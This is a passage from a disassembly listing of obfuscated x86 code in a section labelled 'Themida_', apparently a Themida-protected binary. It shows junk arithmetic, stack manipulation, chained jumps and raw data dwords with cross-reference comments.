0FFFF774Eh, 81242489h, 42404h, 535F0000h dd 146AC1BBh, 0F3EB816Bh, 815A9639h, 45309EEBh, 81DBF746h dd 0C6FFCCEBh, 0E9DF0135h, 0FFFFAAD6h ; --------------------------------------------------------------------------- loc_55FF04: ; CODE XREF: Themida_:00552608j or edi, eax pop eax shr edi, 8 jmp loc_56781C ; --------------------------------------------------------------------------- db 57h dd 196DBF66h, 0B7686652h, 148B6634h, 2C48324h, 8EAC166h dd 0FFF12BE9h, 0E95CFFh, 8100007Dh, 155C43EDh, 0EAE95835h dd 66000077h, 36E9028Fh, 89FFFF26h, 79E92424h, 0FFFFFF8Bh dd 2C8B2434h, 4C48124h, 68000000h, 3A76h, 54240C89h, 4C18159h dd 0E9000000h, 3B91h ; --------------------------------------------------------------------------- loc_55FF6C: ; CODE XREF: Themida_:00554E0Ej xor ebp, 7FBF67F9h jmp loc_558653 ; --------------------------------------------------------------------------- loc_55FF77: ; CODE XREF: Themida_:00565209j pop ebp shl edi, 6 inc edi push ecx mov ecx, 519C6579h or ecx, 418F23F9h shr ecx, 5 add ecx, 282D5975h jmp loc_55CDB8 ; --------------------------------------------------------------------------- aMfrE db '¬fR²E',0 dd 0E95A66D0h, 0FFFF8BF5h ; --------------------------------------------------------------------------- loc_55FFA4: ; CODE XREF: Themida_:00555965j mov [esp], ecx jmp loc_567B85 ; --------------------------------------------------------------------------- dd 2474FF53h, 48F5B04h, 34FF5C24h, 24048B24h, 0FF6906E9h dd 0AE9ADFFh db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FFC7: ; CODE XREF: Themida_:005604BFj mov ch, 0DBh not ch inc ch push eax push ecx mov cl, 91h mov ah, cl pop ecx xor ah, 81h and ah, 1Dh add ah, 0FFh xor ah, 0Dh push bx mov bh, 7Ah push ax jmp loc_5555E8 ; --------------------------------------------------------------------------- loc_55FFEB: ; CODE XREF: Themida_:0056281Fj push ebx jmp loc_55BB0E ; --------------------------------------------------------------------------- loc_55FFF1: ; CODE XREF: Themida_:00559FC1j mov [esp], esi mov esi, 779B31F4h xor esi, 1524563Dh loc_55FFFF: ; DATA XREF: Themida_:0057580Co and esi, 9F418C0h add esi, 36804159h xor eax, esi jmp loc_5553EA ; --------------------------------------------------------------------------- dw 0FA29h dd 0FF260CE9h, 0E28852FFh, 0FFE25CE9h, 241C87FFh, 74FF505Ch dd 8F580424h, 34FF2404h, 65E95D24h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560037: ; CODE XREF: Themida_:00556F0Fj push dword ptr [esp] pop eax add esp, 4 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 0FF48E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56004E: ; CODE XREF: Themida_:0056203Dj pop edi and ecx, 178C05FAh not ecx sub ecx, 7C3A97D1h jmp loc_55E377 ; --------------------------------------------------------------------------- dw 0B868h dd 89000017h, 5E542434h, 7DB7BD55h, 0EDD11A7Fh, 8106E5C1h dd 0EFB6C4F5h, 5DEE014Fh, 0FF2CCCE9h, 4C483FFh, 877C8859h dd 241C8B01h, 0C268E956h, 0EB28FFFFh, 0FFD83059h, 0E95B2434h dd 0FFFF735Ah ; --------------------------------------------------------------------------- loc_5600A4: ; CODE XREF: Themida_:00564967j push ecx push 4C404B73h pop ecx shr ecx, 6 and ecx, 7C62351Ah sub ecx, 0E4EFAEE3h mov eax, ecx push dword ptr [esp] pop ecx add esp, 4 push 65DEh mov [esp], eax jmp loc_565642 ; --------------------------------------------------------------------------- loc_5600D0: ; CODE XREF: Themida_:00566495j pop edx sub edi, 209D419Ah jmp loc_5546B1 ; --------------------------------------------------------------------------- loc_5600DC: ; CODE XREF: Themida_:00556145j pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi mov edi, esp push 3C6Eh mov [esp], esi mov esi, 4 add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp add ebp, 4 add ebp, 2 push 3F36h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_5594A7 ; --------------------------------------------------------------------------- dw 0DD01h dd 6C7C581h, 0C8E90E07h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560133: ; CODE XREF: Themida_:00565AC3j push edi jmp loc_552B13 ; --------------------------------------------------------------------------- db 1, 0F8h, 8Bh dd 0E955243Ch, 0FFFF56B9h, 0C003E9C0h, 34E906E9h, 89FFFFB6h dd 5350241Ch, 59CDE9h, 802EB700h, 0C780CFF7h, 80CFFE53h dd 0F8004AC7h, 0FF69B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_56016D: ; CODE XREF: Themida_:005603A1j pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_557996 ; --------------------------------------------------------------------------- db 57h dd 3503E9h, 0C1EDBF00h, 0C0E9FFFDh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_56018F: ; CODE XREF: Themida_:0055DA26j or eax, eax jz loc_558B10 push dword ptr [edi+1Ch] sub dword ptr [esp], 324B444Fh pop ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55DF7A ; --------------------------------------------------------------------------- dw 8B66h dd 0E957240Ch, 0FFFFB993h, 4C4835Bh, 0FF61F4E9h, 4C481FFh dd 81000000h, 4ECh, 242C8900h, 24048150h, 530F0006h, 0FFD84BE9h dd 5AF100FFh, 1CE980h, 0B60F59CBh, 8734FFC0h, 0B4242C81h dd 0FF26F83Fh, 0E8E92434h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560203: ; CODE XREF: Themida_:0055C07Cj add ebx, 4 push 0DEAh mov [esp], ebx jmp loc_567159 ; --------------------------------------------------------------------------- loc_560216: ; CODE XREF: Themida_:005552C0j push dword ptr [esp] pop ebx jmp loc_56212E ; --------------------------------------------------------------------------- loc_56021F: ; CODE XREF: Themida_:00554913j mov ebp, [esp] add esp, 4 push 5694h mov [esp], edx jmp loc_55B943 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8F04C483h, 8FE92404h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560243: ; CODE XREF: Themida_:00557D68j pop ebx xchg edx, [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_5621E8 push 3764h jmp loc_561B22 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 6081E924h, 0E789FFFFh, 4C781h, 0BD550000h dd 4, 335DEF29h, 3C31243Ch, 243C3324h, 0FF5A19E9h, 4C483FFh dd 0FF3630E9h, 82A0BDFFh, 0EA81234Ah, 785309D4h, 6857EA29h dd 6D4C6F1Fh, 5F61E95Fh, 0F201FFFFh, 53C2015Eh, 44056668h dd 241C8B70h, 81E38953h, 4C3h, 4BF5700h, 81000000h, 5270F4C3h dd 81FB0177h, 5270F4EBh, 243C8B77h, 8704C483h, 248B241Ch dd 0C1DBF724h, 0C38102EBh, 483B4DF9h, 4B0C281h, 0C28137C4h dd 6F0E7A6Ah, 6437E9h db 0 ; --------------------------------------------------------------------------- loc_5602FD: ; CODE XREF: Themida_:0055BCCBj neg dword ptr [esp] pop ecx add ecx, 26978355h jmp loc_55F869 ; --------------------------------------------------------------------------- loc_56030C: ; CODE XREF: Themida_:0056601Cj pop edx sub eax, 466E9AB4h add ecx, 20EA427Ah add ecx, eax sub ecx, 20EA427Ah mov eax, [esp] push ebp push esp pop ebp push edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_562BE1 ; --------------------------------------------------------------------------- loc_560347: ; CODE XREF: Themida_:005551C6j push dword ptr [edi+eax*4] push ecx jmp loc_556941 ; --------------------------------------------------------------------------- loc_560350: ; CODE XREF: Themida_:00566213j mov ebp, 388D69E5h sub ebp, 72BE7DBCh push esi mov esi, 7E82501Fh or ebp, esi jmp loc_55AAC8 ; --------------------------------------------------------------------------- dd 6804C283h, 5D06h, 0FF241489h, 8B042474h, 72E92414h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56037F: ; CODE XREF: Themida_:005565EBj and ecx, 7C472000h add ecx, 6A1B092Ch push ebx mov ebx, 0DAB279F8h add ecx, ebx pop ebx xor esi, ecx jmp loc_5529CF ; --------------------------------------------------------------------------- loc_56039B: ; CODE XREF: Themida_:00557DFFj add ecx, 4 xchg ecx, [esp] jmp loc_56016D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C5DC581h, 0B1E97904h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5603B7: ; CODE XREF: Themida_:0055865Cj push edi push esp pop edi jmp loc_558C04 ; --------------------------------------------------------------------------- loc_5603BF: ; CODE XREF: Themida_:00566E4Ej pop eax sub esp, 4 jmp loc_556AC0 ; --------------------------------------------------------------------------- db 4Fh dd 3C7814Fh, 526444Eh, 41E07BDCh, 1CE9F801h, 68000005h dd 19B2h, 0E9241489h, 0FFFFCA69h, 5E82959h, 5CB00683h dd 0FFFB52E9h db 0FFh ; --------------------------------------------------------------------------- loc_5603F9: ; CODE XREF: Themida_:005635D1j sub dword ptr [esp+4], 40A55AF2h add [esp+4], ebp add dword ptr [esp+4], 40A55AF2h pop ebp jmp loc_552579 ; --------------------------------------------------------------------------- db 0C0h dd 0D3F604E3h, 4FF380h, 2434FFD8h, 0EC83555Bh, 24248904h dd 4240483h, 6E27E95Dh, 0FE59FFFFh, 5FEB80CBh, 0FF9019E9h dd 4C481FFh, 51000000h, 873EACB9h, 85F6E921h, 0CE29FFFFh dd 81240C8Bh, 4C4h, 81FE0100h, 0DA6749C6h, 2434FF3Ah, 81243C8Bh dd 4C4h, 0ECB3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560472: ; CODE XREF: Themida_:0055ADCAj xor [esp], edi xor edi, [esp] pop esp jmp loc_55BC7D ; --------------------------------------------------------------------------- dw 0E781h dd 3BE902D6h, 419FF781h, 0ED810651h, 796367EAh, 0C581FD29h dd 796367EAh, 0D5E9505Fh, 8B00001Bh, 80E9240Ch db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5604A7: ; CODE XREF: Themida_:00560F99j pop ebx add ah, 0F8h mov ch, ah pop eax sub al, ch mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_55FFC7 ; --------------------------------------------------------------------------- loc_5604C4: ; CODE XREF: Themida_:0055F793j or edx, edi pop edi and edx, 749F190Ah xor edx, 641F080Bh push edx xor dword ptr [esp], 0BA20593h mov ebx, [esp] jmp loc_553404 ; --------------------------------------------------------------------------- db 68h dd 2097h, 0E9240489h, 0FFFFB801h, 1B40BF57h, 0FD294DA0h dd 83243C8Bh, 0C58104C4h, 0B4400E46h, 0FFBAC9E9h, 69E954FFh dd 52000055h, 3E0168h, 24248900h, 4240481h, 5A000000h dd 522BE956h, 77FF0000h, 59669D1Ch, 2414D366h, 2043E99Ch dd 3489FFFFh, 2474FF24h, 69E95E04h, 8900003Bh, 0C7BA2414h dd 0E950AF23h, 5989h, 1686EB81h, 0C38103EAh, 0FE260DFh dd 0EB81EB29h, 0FE260DFh, 0FF8C72E9h db 0FFh ; --------------------------------------------------------------------------- loc_560569: ; CODE XREF: Themida_:0055916Aj pop edi mov edx, 92FFC866h add edx, ebx pop ebx xor edx, 62505257h xor ebx, edx jmp loc_5638D6 ; --------------------------------------------------------------------------- aYsC db 'Yι(c',0 dd 2434FF00h, 4C4815Bh, 0E9000000h, 6392h, 0E959CB01h dd 0FFFFB336h, 4240481h, 8F000000h, 0BD552404h, 4, 4246C01h dd 0C3815B5Dh, 4, 4EB81h, 1C870000h, 24248B24h, 55241C89h dd 2D54F0BDh, 246C316Eh, 34FF5D04h, 58E95B24h, 59FFFF74h dd 240C8B5Bh, 81E68956h, 4C6h, 4C68100h, 87000000h, 805C2434h dd 0DAF668CAh, 80FEEA80h, 0FE52B5CAh, 148B2404h, 4C48124h dd 51000000h, 0EA00D8B5h, 83240C8Bh, 0D02804C4h, 89535A5Ah dd 46856E3h, 5E000000h, 7893EB81h, 0C3810179h, 491F583Fh dd 0EB81F301h, 491F583Fh, 7893C381h, 555E0179h, 231FCABDh dd 9DD0E93Ch, 0F581FFFFh, 0A549894Eh, 6EDCE9h, 1585A00h dd 18E95EF1h, 5E000065h, 528FBF57h, 0EF817408h, 6AE64D0Eh dd 0FF5595E9h db 0FFh ; --------------------------------------------------------------------------- loc_560671: ; CODE XREF: Themida_:00552CA3j mov [esp], ecx jmp loc_557DF7 ; --------------------------------------------------------------------------- loc_560679: ; CODE XREF: Themida_:00553397j pop ebp push dword ptr [esp] jmp loc_563DB5 ; --------------------------------------------------------------------------- dw 0F129h dd 0A6C9815Eh, 0C126BF6Eh, 0C0E904E1h, 83FFFF4Ch, 0C18304C4h dd 7FA7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56069E: ; CODE XREF: Themida_:0055A3F8j shr ebx, 1 sub ebx, 0E4B718B4h add edi, ebx pop ebx add edi, ecx jmp loc_553A90 ; --------------------------------------------------------------------------- loc_5606B0: ; CODE XREF: Themida_:0055949Bj sub edx, ecx mov ecx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_557B56 ; --------------------------------------------------------------------------- loc_5606C3: ; CODE XREF: Themida_:0055D326j xor esi, [esp] mov esp, [esp] or ebx, ebx jnz loc_55DBD5 push ecx push ebp jmp loc_5588FE ; --------------------------------------------------------------------------- dd 2A92F381h, 0E3D123E2h, 0FF74BFE9h, 93D3F7FFh, 0A163AF25h dd 8E8C16Ch, 0A3FE9h, 56E58900h, 2C6592BEh, 5EF6817Eh dd 8174C60Fh, 8C0898CEh, 9A1EE944h, 34FFFFFFh, 0C4835824h dd 0DB59E904h, 5552FFFFh, 4C2071BDh, 87F58106h, 0E91AEC78h dd 0FFFFB961h ; --------------------------------------------------------------------------- loc_56072C: ; CODE XREF: Themida_:0056323Aj mov edx, [esp] add esp, 4 add esp, 4 loc_56073B: ; CODE XREF: Themida_:005535C5j ; Themida_:0055DBD9j push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, esp jmp loc_55F874 ; --------------------------------------------------------------------------- db 1 dd 95685FFAh, 8900006Bh, 0ACBA2414h, 812ED646h, 2348ADC2h dd 7EAC166h, 81DAF74Ah, 156BB2F2h, 5AD029BBh, 5105D001h dd 8B45C367h, 0C4832414h, 9466804h, 0F4E90000h, 5BFFFFE4h dd 7497E981h, 0B85044DBh, 0 dd 0FFACFBE9h, 896866FFh, 1C896661h, 0A4E95124h, 89FFFF26h dd 0BA52243Ch, 293850EFh, 0AF15C281h, 0D789D6C7h, 0E9FE015Ah dd 0FFFF56AFh ; --------------------------------------------------------------------------- loc_5607C4: ; CODE XREF: Themida_:00567B35j mov edi, 2838A3EDh xor esi, edi pop edi push esi pop edi pop esi add ecx, edi mov edi, [esp] jmp loc_554B20 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0F7h dd 2484E9D6h, 0EC81FFFFh, 4, 0BF243C89h, 0FEFFFEB3h, 15FFA31h dd 2434FFD7h, 4C4835Ah, 6DB26850h, 0C890000h, 26B0B924h dd 73E90B79h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56080F: ; CODE XREF: Themida_:0055C1D6j not esi dec esi jmp loc_559DD1 ; --------------------------------------------------------------------------- db 0F7h dd 0FFF681D6h, 0E971E26Ah, 1445h ; --------------------------------------------------------------------------- loc_560824: ; CODE XREF: Themida_:00552AC0j xchg edi, edx not edi jmp loc_55FACC ; --------------------------------------------------------------------------- loc_56082D: ; CODE XREF: Themida_:00561CB4j add edx, 4 xchg edx, [esp] pop esp add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_55F564 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 0E9h dd 1F5Eh, 8A2B850h, 8BE955B2h, 8B000030h, 0BF572424h, 42783294h dd 0FA868h, 2395E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56086A: ; CODE XREF: Themida_:005544FBj add ebp, 0C4B59F84h add esi, ebp jmp loc_560CDD ; --------------------------------------------------------------------------- aUS? db 'Αγ',8,'ι[?',0 db 0 ; --------------------------------------------------------------------------- loc_56087F: ; CODE XREF: Themida_:00562AC6j sub ecx, 0D1B901E7h add edx, ecx pop ecx add edx, esi sub edx, 25C540D8h pop esi push ebp jmp loc_566AE3 ; --------------------------------------------------------------------------- db 0C0h dd 0C78003EFh, 61E1E9ADh, 34FFFFFFh, 0EC835824h, 242C8904h dd 57C268h, 7716800h, 0EC810000h, 4, 0E9242489h, 0FFFF71B5h ; --------------------------------------------------------------------------- loc_5608C4: ; CODE XREF: Themida_:00555A7Bj push edx mov edx, 595D57E7h inc edx neg edx shl edx, 1 xor edx, 6D5F2BB6h inc edx sub edx, 1D3513D8h jmp loc_559675 ; --------------------------------------------------------------------------- db 81h, 0E2h, 97h dd 0C170F55Eh, 83E902E2h, 56FFFF85h, 0F589C689h, 8EE9585Eh dd 2DFFFF42h, 41E07BDCh, 3E0C15Fh, 0EF68720Dh, 64150D70h dd 7B2D387Ah, 17DFFFCh, 6831E9C1h, 0C4810000h, 4, 84570125h dd 0FB35403Eh, 407D5B7Eh, 0D954E805h, 4827357Bh, 1D3520AEh dd 1FEAF7Ah, 0F30158C3h, 4CD9EB81h, 34FF63B5h, 7AE95E24h dd 81FFFFF8h, 4ECh, 24348900h, 11BBE9h db 0 ; --------------------------------------------------------------------------- loc_56095D: ; CODE XREF: Themida_:00556E03j pop esp jmp loc_5537E1 ; --------------------------------------------------------------------------- db 83h dd 48704E8h, 0D4E95C24h, 81000069h, 970D53EEh, 81DE0112h dd 970D53C6h, 0BF575B12h, 4, 3C8BFE01h, 4C48324h, 31243433h dd 34332434h, 24248B24h, 8124048Bh, 4ECh, 24148900h, 0C26E9h db 0 ; --------------------------------------------------------------------------- loc_5609A9: ; CODE XREF: Themida_:0055868Aj xor ecx, [esp] mov esp, [esp] jmp loc_557E8B ; --------------------------------------------------------------------------- dd 56241C8Bh, 0FF93A9E9h, 58C121FFh, 4F82C181h, 0CD290061h dd 4875559h, 0E9D0F724h, 0FFFFD40Ch, 52C2CB81h, 0DBF777D3h dd 40C3BA52h, 45E940B2h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5609E7: ; CODE XREF: Themida_:0055F79Dj sub eax, 76F87482h jmp loc_56506F ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 5324248Bh, 2434FF54h, 4C4815Bh, 51000000h, 4EC81h, 34890000h dd 243C6824h, 815E11B2h, 56DFA2EEh, 559668DAh, 34890000h dd 815E5924h, 807ADC1h, 43F1813Ch, 0E973634Ch, 0FFFFED9Eh ; --------------------------------------------------------------------------- loc_560A34: ; CODE XREF: Themida_:005540C8j pop eax jmp loc_55750D ; --------------------------------------------------------------------------- dw 0EA81h dd 343B6CD7h, 74FF5259h, 5DE90424h, 81FFFFC3h, 0D3668DEAh dd 0E2BB5375h, 6818EF45h, 550Fh, 0E9240C89h, 0FFFFE007h dd 0EE81DE29h, 634B7259h, 51241C8Bh, 0C181E189h, 4, 8704C183h dd 98E9240Ch, 20FFFFE1h, 2434FFCAh, 43F2E9h db 0 ; --------------------------------------------------------------------------- loc_560A8D: ; CODE XREF: Themida_:0055CBDDj pop ebx jmp loc_5665D4 ; --------------------------------------------------------------------------- loc_560A93: ; CODE XREF: Themida_:00567413j push dword ptr [esp] jmp loc_5663BF ; --------------------------------------------------------------------------- db 0FEh dd 0B8EA80C2h, 34FFD188h, 2263E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560AAA: ; CODE XREF: Themida_:0055C4BBj xchg edi, [esp] pop esp mov [esp], ebx push eax push 6EFD708Ah mov eax, [esp] jmp loc_556BB1 ; --------------------------------------------------------------------------- db 52h dd 0FF3305E9h, 59CA00FFh, 0E951C2FEh, 0FFFF3FB1h ; --------------------------------------------------------------------------- loc_560AD0: ; CODE XREF: Themida_:00558E43j sub edi, edx jmp loc_5655D0 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 2150E900h, 3C8B0000h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 1EDDBA52h, 0BF571AEDh, 15636338h, 17E9DFF7h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B07: ; CODE XREF: Themida_:005586ADj mov esi, [esp] add esp, 4 dec edx jmp loc_563188 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFF3FEAh ; --------------------------------------------------------------------------- loc_560B1C: ; CODE XREF: Themida_:0055EC7Aj xchg edx, [esp] pop esp mov [esp], esi push 368D0226h pop esi and esi, 3AAB49E6h sub esi, 0A505C3Dh jmp loc_567B34 ; --------------------------------------------------------------------------- loc_560B3A: ; CODE XREF: Themida_:00554AC4j xor esi, edx jmp loc_559870 ; --------------------------------------------------------------------------- db 83h, 0C0h, 2 dd 8B240487h, 73E92424h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B4F: ; CODE XREF: Themida_:0055CC83j sub eax, 50ED0DD0h add eax, 2480BA1h add eax, 38B26800h sub esp, 4 jmp loc_561DCF ; --------------------------------------------------------------------------- db 58h, 89h, 0D9h dd 5B2434FFh, 0E9E28952h, 0FFFFD052h, 4DD2C781h, 0C7014C56h dd 4DD2BA52h, 0D7294C56h, 0FFC636E9h db 0FFh ; --------------------------------------------------------------------------- loc_560B8D: ; CODE XREF: Themida_:00555936j push edx mov edx, 766062Dh not edx inc edx jmp loc_55DBF2 ; --------------------------------------------------------------------------- db 29h dd 0EFC158C7h, 0D9E95605h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560BA7: ; CODE XREF: Themida_:00554436j add ecx, 59641974h add ecx, edi jmp loc_55EF38 ; --------------------------------------------------------------------------- dd 0FAC3805Ah, 1C8BD800h, 2F6824h, 4890000h, 509C6824h dd 24890000h, 24048124h, 4, 0E924048Bh, 0FFFF30ABh, 592434FFh dd 2D04C483h, 2E1814B6h, 0B605E801h, 52E1814h, 31F94B4Ah dd 0DD25E95Dh, 1C8BFFFFh, 5018E924h, 8B66FFFFh, 5457240Ch dd 4C7815Fh, 0E9000000h, 6026h, 24348152h, 3BBF0130h, 0D8BD555Bh dd 8131DE6Ch, 0E760CCCDh, 814D4D37h, 0BF9456C5h, 5DEB3103h dd 31C3315Ah, 81C331D8h, 4ECh, 24048900h, 74E95855h, 0B3FFFF74h dd 287FB6C2h, 6BEBE9DEh, 8F580000h, 248B2404h, 0FCB55124h dd 0E906E5C0h, 0FFFFE0E1h ; --------------------------------------------------------------------------- loc_560C68: ; CODE XREF: Themida_:005649C0j sub edx, 43223302h push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5673FE ; --------------------------------------------------------------------------- dd 8324148Bh, 48F04C4h, 3CB1E924h, 5657FFFFh, 3C9D6855h dd 0E95D184Eh, 131Ch, 5DEF0159h, 90BA5251h, 81553514h dd 0FA6BE2E2h, 0EAC1420Dh, 0DFC28102h, 0F70AF728h, 0DDF281DAh dd 89CDC5A9h, 71E95AD1h, 0FFFFA9h, 0E9F604F0h, 0FFFFCADCh dd 0E951F029h, 0FFFF49F6h ; --------------------------------------------------------------------------- loc_560CD4: ; CODE XREF: Themida_:00565DFFj mov edi, [esp] push eax jmp loc_55DEC3 ; --------------------------------------------------------------------------- loc_560CDD: ; CODE XREF: Themida_:00560872j push dword ptr [esp] pop ebp add esp, 4 jmp loc_55FB0A ; --------------------------------------------------------------------------- dd 4737E959h, 0DD01FFFFh, 4C5835Bh, 8B242C87h, 815A2424h dd 4C2h, 433D6800h, 34890000h, 2BB5324h, 89000000h, 0FFE95BDEh dd 89FFFF6Fh, 2682414h, 0E9000000h, 0FFFFEC23h ; --------------------------------------------------------------------------- loc_560D28: ; CODE XREF: Themida_:0055568Fj xor edi, 0AC3D1F21h add edx, edi pop edi add edx, 67D632E9h and eax, edx jmp loc_55B3A4 ; --------------------------------------------------------------------------- loc_560D3E: ; CODE XREF: Themida_:005587C8j add esp, 4 add edx, 4 xchg edx, [esp] jmp loc_556E79 ; --------------------------------------------------------------------------- loc_560D52: ; CODE XREF: Themida_:0055347Fj xchg edi, [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5617C6 ; --------------------------------------------------------------------------- dw 0FA29h dd 81DA295Fh, 4136AAC2h, 0BDE95B1Fh, 0F700000Bh, 2E2C1D2h dd 64BAEA81h, 0EA8139D3h, 56F56928h, 0E95AD629h, 190Bh ; --------------------------------------------------------------------------- loc_560D94: ; CODE XREF: Themida_:00563BC6j xchg eax, [esp] mov esp, [esp] push 5EBAh mov [esp], edi jmp loc_5673C0 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 4E981h, 0C870000h, 2C895C24h, 14685724h dd 5F79BA40h, 4EC81h, 2C890000h, 4012BD24h, 0C78179BAh dd 5729734Dh, 601C781h, 0EF293DFFh, 601EF81h, 0EF813DFFh dd 5729734Dh, 24CFE9h, 0E1895100h, 4C181h, 0E9830000h dd 240C8704h, 2404895Ch, 8700A9B8h, 81E0D15Eh, 4ECh, 242C8900h dd 6C5EE2BDh, 5DE80968h, 76E6B951h, 0E981672Bh, 1, 4B81E981h dd 0E9811820h, 18007299h, 0E904EC83h, 0FFFF91D2h, 657DE95Dh dd 0EB31FFFFh, 0EB31DD31h, 0FF72D7E9h, 5BDA01FFh, 2107B951h dd 0E5E91BBFh, 0C1FFFF62h, 0E28102EAh, 292004F7h, 0B2EA8142h dd 0E9210AD2h, 1D47h ; --------------------------------------------------------------------------- loc_560E70: ; CODE XREF: Themida_:00565E58j add ecx, ebx push eax mov eax, 470A3B2Ah jmp loc_55CB8F ; --------------------------------------------------------------------------- db 30h, 0D4h, 5Ah dd 6211E9h, 3AE40500h, 3AE9930Fh, 81FFFF6Ah, 491BEAC5h dd 6616E91Ch, 0F480FFFFh, 31CE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560EA2: ; CODE XREF: Themida_:0055AD65j pop eax add esp, 4 add ebx, 4 jmp loc_561899 ; --------------------------------------------------------------------------- loc_560EB4: ; CODE XREF: Themida_:005569A0j add ebx, 4 push ecx jmp loc_565B08 ; --------------------------------------------------------------------------- dd 4240483h, 8B2434FFh, 0C4832434h, 53FAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560ED2: ; CODE XREF: Themida_:005589FEj xor eax, 1036449Ah push eax xor dword ptr [esp], 5D8A57CAh pop ecx xor ecx, 5D8A57CAh mov eax, [esp] add esp, 4 neg ecx jmp loc_564B8D ; --------------------------------------------------------------------------- dw 0E829h dd 0FF4BE4E9h, 0E9C201FFh, 0FFFFC969h, 0F800572Ch, 0E9F4B551h dd 0FFFF8685h, 74FF555Ah, 0B7E90424h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560F1B: ; CODE XREF: Themida_:0055B311j add dword ptr [esp+4], 2EEF1CFEh sub [esp+4], edx sub dword ptr [esp+4], 2EEF1CFEh sub dword ptr [esp+4], 6FC26DB8h pop edx pop esi add esi, 2F3341A3h mov edi, [esp] push edi mov edi, esp jmp loc_563676 ; --------------------------------------------------------------------------- dw 0E948h dd 675h ; --------------------------------------------------------------------------- loc_560F50: ; CODE XREF: Themida_:00555A94j sub [esp+4], esi pop esi jmp loc_5574A2 ; --------------------------------------------------------------------------- dw 0B551h dd 0F6CDFE76h, 86ED80D5h, 0FF73ACE9h, 4C581FFh, 81000000h dd 4C5h, 242C8700h, 0B61AE95Ch, 0FABDFFFFh, 81216A3Ah dd 0B3788AF5h, 68B2E97Fh, 2C87FFFFh, 36E95C24h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560F97: ; CODE XREF: Themida_:00558D53j sub ah, bl jmp loc_5604A7 ; --------------------------------------------------------------------------- dw 4BFh dd 1000000h, 90E95FFDh, 81FFFFA0h, 0CC1643EEh, 1B3F6881h dd 34890000h, 242C8124h, 7F827D71h, 0FF6FECE9h, 0E38859FFh dd 699AE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FCE: ; CODE XREF: Themida_:00567051j mov [esp], edi mov edi, 7A5232EDh not edi sub edi, 395203Dh push 6783h mov [esp], eax mov eax, edi jmp loc_557575 ; --------------------------------------------------------------------------- db 0E9h, 87h, 15h dd 0E980FFFFh, 0CAE953CEh db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FFB: ; CODE XREF: Themida_:00566F6Ej and eax, edx mov edx, [esp] add esp, 4 shr eax, 10h xor eax, ecx push edi push esp mov edi, [esp] add esp, 4 add edi, 4 push ebp push ebx mov ebx, 9CD4293h push eax mov eax, 19D26541h dec eax shr eax, 3 shr eax, 5 and eax, 57F9373Dh jmp loc_559014 ; --------------------------------------------------------------------------- loc_561037: ; CODE XREF: Themida_:0055BDB4j add edx, 4 jmp loc_5530FD ; --------------------------------------------------------------------------- dw 0D829h dd 5F0295Bh, 5B847434h, 5E2434FFh, 0FF2A84E9h, 0B55166FFh dd 24BBE942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56105E: ; CODE XREF: Themida_:0056566Aj push 5F33h mov [esp], eax xchg edi, [esp] push edi not dword ptr [esp] jmp loc_564614 ; --------------------------------------------------------------------------- dw 815Eh dd 4C6h, 4C68300h, 0E9243487h, 0FFFFA23Dh, 24048B66h, 7A5A68h dd 24348900h, 2B2068h, 24248900h, 55575352h, 0E37AA7BDh dd 6429E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610A6: ; CODE XREF: Themida_:0055FA71j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp 